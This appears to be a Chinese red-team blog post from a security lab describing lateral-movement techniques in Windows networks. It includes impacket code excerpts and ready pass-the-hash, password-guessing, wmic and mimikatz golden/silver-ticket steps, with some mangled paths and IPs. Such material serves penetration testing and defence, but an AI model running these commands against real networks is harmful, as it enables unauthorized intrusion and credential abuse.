✦+
+
点击蓝字 关注我们
日期:2022年10月8日 作者:pbfochk 介绍:对几种内网横向移动的方法进行介绍,并根据已经获取的信息与环境中的受限条件选择合适的横向方式。
0x00 内网横向
在攻击者获取到某台内网机器的控制权限之后,结合现有的内网信息将权限扩大到另一台或者另一个网段的机器权限,从而突破逻辑隔离等边界限定,获取到重大成果。
0x01 内网横向移动
1.1 wmiexec横向(非交互式)
涉及工具:impacket
工具包
首先是impacket
工具包里的wmiexec.py
。提供了通过wmi
执行命令并回显的功能。其原理较为简单:通过wmi
执行命令,并将执行结果保存文件,通过 smb
读取返回结果。
以下为部分代码,条件为445
、135
和高位随机的一个端口都允许通信。
class RemoteShell(cmd.Cmd):
def __init__(self, share, win32Process, smbConnection, shell_type, silentCommand=False):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\' + OUTPUT_FILENAME
self.__outputBuffer = str('')
self.__shell = 'cmd.exe /Q /c '
self.__shell_type = shell_type
self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__silentCommand = silentCommand
self.__pwd = str('C:\')
self.__noOutput = False
self.intro = '[!] Launching semi-interactive shell - Careful what you executen[!] Press help for extra shell commands'
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\')
else:
self.__noOutput = True
# If the user wants to just execute a command without cmd.exe, set raw command and set no output
if self.__silentCommand is True:
self.__shell = ''
横向前提条件:不知道密码,尝试拿已知hash
传递。
python wmiexec.py -hashes 00000000000000000000000000000000:3008c87294511142799dca1191e69a0f ./administrator@192.168.237.176 "whoami"
1.2 Psexec横向(交互式)
涉及工具:impacket
工具包
前提条件:不知道密码,尝试拿已知hash
传递。
python psexec.py -hashes :3008c87294511142799dca1191e69a0f ./administrator@192.168.237.176
1.3 Smbexec横向(交互式)
涉及工具:impacket
工具包
前提条件:目标机器未开启RDP
服务,尝试密码碰撞。
python smbexec.py ./administrator:admin123@192.168.237.176
1.4 IPC横向
前提条件:目标机器未开启RDP
服务,尝试密码碰撞。
net use \191.168.237.176ipc$ "admin123" /user:"Administrator"
如果机器出网,可以使用上传木马,利用计划任务上线。
1.5 WMIC横向
前提条件:目标机器未开启RDP
服务,尝试密码碰撞。
wmic /node:172.20.10.7 /user:administrator /password:admin!@2022 process call create "cmd.exe /c ipconfig>c:123.txt"
此时执行的命令回显写入txt
,使用type \172.20.10.7c$123.txt
查看。
1.6 域内黄金票据横向移动
设计工具:mimikatz
前提条件:需要伪造域管理员名称、完整域名称、域SID
、krbtgt
的hash NTLM
值或AES-256
值。
(1)抓取krbtgt hash
值。
(2)域成员主机上注入黄金票据。
(3)查看已经获取的票据类型。
(4)至此即可利用该票据横向获取域内任意机器权限。
1.7 域内白银票据横向移动
前提条件:域名称、服务账号的NTLM hash
、服务SID
需要伪造的域名称。
(1)抓取域服务账号NTLM hash
与SID
号。
(2)利用得到的信息生成白银票据。
(3)导入票据后即可横向访问域内任意机器的cifs
服务。
1.8 域内WinRM横向移动
nter-PSSession -ComputerName TEST03
0x02 总结
本文总结的部分工具,利用已有条件进行hash
碰撞、密码碰撞后可能获取到一些非预期的成果,将已经收集到的内网信息进行多次利用,才能在内网中拿到更多资产。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。
原文始发于微信公众号(宸极实验室):『红蓝对抗』内网横向移动方法大全之不是很全
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论